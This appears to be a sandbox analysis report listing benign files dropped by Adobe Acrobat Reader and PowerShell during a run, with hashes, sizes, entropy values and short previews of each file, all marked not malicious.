SHA-512:	AF6199F93781B190FDEA4DC18B29B3F85C9A64340DA2742F975EC579A316FFD93FEC4A112134783D4A992EE26FF3B4A3126A4CB4DB7A3BB11F2D23E5FD1A4243
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b8ba720-1f48-4746-b443-d4e03721e823","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736738511072,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.306280871705258
Encrypted:	false
SSDEEP:	6:YEQXJ2HXu+8NOHdVoZcg1vRcR0YCVgeoAvJf21rPeUkwRe9:YvXKXu+rHkZc0v3GG+16Ukee9
MD5:	365D939F0AB72AF8D60955F96286ECC6
SHA1:	C45F45A014542C0AAE4CE8AA82A3E18AA7E3F80E
SHA-256:	C30478373D7A4A81076A9B11776B35240A97C25ED51420F0AD7412B0A41F25D3
SHA-512:	9857FD94437BE7C7DC639995CDD096B8766BABD730228440063A5ECD96938610272A1E9656D96AFCAB79CF6E5B112AFAB369520FEEA80520EA3DDF817BBA267D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b8ba720-1f48-4746-b443-d4e03721e823","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736738511072,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.670793585230152
Encrypted:	false
SSDEEP:	24:Yv6X9rEzvzamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS+:YvhrBgkDMUJUAh8cvM+
MD5:	D15B55482F1F247D60BB023B879D3579
SHA1:	8D634C11996E2564545AC0E9A31070B455BE0D8C
SHA-256:	9BE059893D44888D9A6E59A51FB13FC3CBF85E6E91B31B984DA06A4CDA2EC67A
SHA-512:	BA65F84A6DF9BC83B625E1EEC74BDCDCBCF23F328B3FA864AF8C528EDDA1B9D19BCF205FFDEC7887BB501D077E5D45C6B0E15A705A26EC45F8032805B0513F57
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b8ba720-1f48-4746-b443-d4e03721e823","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736738511072,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2833166359103725
Encrypted:	false
SSDEEP:	6:YEQXJ2HXu+8NOHdVoZcg1vRcR0YCVgeoAvJfshHHrPeUkwRe9:YvXKXu+rHkZc0v3GGUUUkee9
MD5:	3308C1792070CA91C0258577FDFB1D1A
SHA1:	84F63E65299542FCB36CA83AAD24A29B834B9D32
SHA-256:	60E2A435AF3EAE5F337EA73ADBD1B216B6C2D811C19582E527DA99D639680528
SHA-512:	B3E0CC59BE4164533292DBD4F16F18EB7816DB0B39914E98E31544811833455ACEA2616F17DB76B264790797DD66478A757A4423D318C0B1AFFCF9FC08F1C339
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b8ba720-1f48-4746-b443-d4e03721e823","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736738511072,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.289026581788248
Encrypted:	false
SSDEEP:	6:YEQXJ2HXu+8NOHdVoZcg1vRcR0YCVgeoAvJTqgFCrPeUkwRe9:YvXKXu+rHkZc0v3GGTq16Ukee9
MD5:	4FEC7BBBD97EC782C86963974A46E646
SHA1:	840F30B9C75FD4FBDFCBE11027C0FF2939B31987
SHA-256:	10F937AE14A2536BA52D5A782ED45B7ADCEB379E87F8B7FB61C40CA68A5179E8
SHA-512:	B454378288C75375C1181F3A4F1D26130D34CBE7DFD18741FC7156D3110F1FE9DDD7C586FC2751317D0ADEE86D53DE7B4D483E37EB23B036487EAE66C3C643F7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b8ba720-1f48-4746-b443-d4e03721e823","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736738511072,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.145448541431185
Encrypted:	false
SSDEEP:	24:YdRTb9aQcszayaXGEERXDU2Vj9mj6nmrjtj0S14BCV25UQ2LSvCDwoMufXq7Te5B:YXQswXFwpZetBayevBeMuvIayN9SWW
MD5:	8C46949D5560E53CD0F68102A7B8CAD4
SHA1:	3F0417962C7281DAE66D0DF83EB73E9AD581FF8A
SHA-256:	4F8E048275C9F3B002FAEC5569973158009B297510B7EC46D2FEF08B3B56AAA4
SHA-512:	BAC8F15D6285E9D1065331147F1AD448F85B26CC982C320ACFBB685B672C495E596D40555B7F1B950D70CCFC4002D73125319255D73E8611964143F03826AE72
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"06614ab3896ff97b7cc10ac76601340f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736562185000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"dba6498ac3e3f12716495154313d72bc","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736562185000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"1684b443ef622b7f5179529c644bcec6","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736562185000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"6257eb7f1c5ceab4d8da14425c7ae08b","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736562185000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"e9320d2ef65b659a1f8ebb082c7770e2","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736562185000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"f04f45e142a82ccab41f493d4aeb5428","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1872804178057275
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUfSvR9H9vxFGiDIAEkGVvp7:lNVmswUUUUUUUUf+FGSIt/
MD5:	753167EF07A8DFA1E6B6B434AB4F0C51
SHA1:	4E4B2538666E69E61072E3F658EFED3F1A391662
SHA-256:	68FE6484F81475C1113B4B16679E13DF22CA04AB9B55D65F0E87706888865DFD
SHA-512:	BF77A905AF7F7F0CF7759264275861130A01DAF55E26585D0458EBD9CF638AC5647BB1BAA43487DDB30B573BB9C9A21623641476D7551D77C77E9F21DCC7C6BD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.605400241994013
Encrypted:	false
SSDEEP:	48:7MEKUUUUUUUUUUjvR9H9vxFGiDIAEkGVvcqFl2GL7ms6v:7UUUUUUUUUUUzFGSItWKVmsM
MD5:	9613EFE4E51332DC0578F632E6FF40AA
SHA1:	3F47B39622F1243A1756E02F6EBC5318E3787C75
SHA-256:	9EB5CAD04CF7CF9899E7465148AFD338447AC9A58A484D0E671C64A5DAF8B12C
SHA-512:	8AA1A93DBE4A182F96ED380B9B5184AE22EAC74B2FABE932A699542A742E923072B6BB60A706B2B11EF9AE2D3576BB9A645028D48629EFDA0E7A7B1959D86431
Malicious:	false
Preview:	.... .c.......H.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgHZ3AvbSsLCVFWIicPpMbjzWl1Yyu:6a6TZ44ADEGvWsLCVFWIozC1K
MD5:	4F9E24E7DDE56DD68B6F596CD2CB9987
SHA1:	59DADF58FF37B9FA8B460742ED6744F04B765E8D
SHA-256:	6B8C2BA631918A52F8286E2D80B7CBE0DA4A6288B89D148C21DF02D751243923
SHA-512:	80A80E19AA71D281A344B7EB393588D5A3C74C8667EE5E9E8396EAB75E25709925382E9E365F796150651A3EC9E1174E7F87BAC4756D3DD624CF5C7B21B86995
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIb1784.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4965336456103326
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsDlf9:Qw946cPbiOxDlbYnuRK+bNH
MD5:	483DC25A838B7FB54723E0658EA2A8D2
SHA1:	992A87803CAAD7E8083C4BA4C1CDC223D539CF8E
SHA-256:	455D05E3E1EE843F33BE18A435AF2C23C0A5E13751061D44F38229FD38CA70D0
SHA-512:	D852D05BBF09DB332D1519B68A1BA045C7A172F5DF7CEF6F66C905985A283E9BF099412D7893791F1671EF35C2422348426B45DCEE527CC5BBFE214B76ABC5A7
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.2.3.:.0.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4lmqlosk.v01.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dw33ksww.zbo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-22-56-936.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.355482468648661
Encrypted:	false
SSDEEP:	384:WsGwfhOHNGn9+0bF5bOz/4FTdDRDMkDSWSUWjtjp9bvrAElIHVPp+gZcCQNQB0J0:eJu
MD5:	3E13E4BA4A855F902409FEC162B3A814
SHA1:	AE119679177CFFC28EAEC593A9C415E9BEF04CCD
SHA-256:	063BBC4AF5F24FBAB827B1C58095D42576963268D132F3AA7D5A5D9873C1B058
SHA-512:	6860A473CC46CD96B6347605CBBAFFED1EA576F523EFF672C27E79D53A5B5907D13A074303972E27C94954378D129E143D82473EAD574CF4B787D1EA764FBF78
Malicious:	false
Preview:	SessionID=473c84cd-a810-40a1-bd0c-ffcdad4d4fae.1736562176971 Timestamp=2025-01-10T21:22:56:971-0500 ThreadID=7276 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=473c84cd-a810-40a1-bd0c-ffcdad4d4fae.1736562176971 Timestamp=2025-01-10T21:22:56:972-0500 ThreadID=7276 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=473c84cd-a810-40a1-bd0c-ffcdad4d4fae.1736562176971 Timestamp=2025-01-10T21:22:56:972-0500 ThreadID=7276 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=473c84cd-a810-40a1-bd0c-ffcdad4d4fae.1736562176971 Timestamp=2025-01-10T21:22:56:973-0500 ThreadID=7276 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=473c84cd-a810-40a1-bd0c-ffcdad4d4fae.1736562176971 Timestamp=2025-01-10T21:22:56:973-0500 ThreadID=7276 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3908495069090945
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rT:jD
MD5:	B9DAF2AEB25550E7E6CAED46C4FEC80E
SHA1:	362DACDA2F07018EA6715E7A525D955D0B05726C
SHA-256:	A07146788DE3428B22CEE9B79BC9C94DD5C6E2167C721832266D211A17C69B3E
SHA-512:	2932B5E51524B6B8255FDD600FFD98718C201B9D0C2774DC0849712AF0A1A0296D0D8279DA8F9C0A6615F05C832253DB4FBC4DE92601C44CC2F10CB0E0A65767
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\38c76e7f-7524-4cc0-8e6f-ed2f57c6c775.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\46c2d131-aa18-4728-907a-100babf45366.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4cb408c8-0bb2-4037-aadb-87bc45fd8656.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
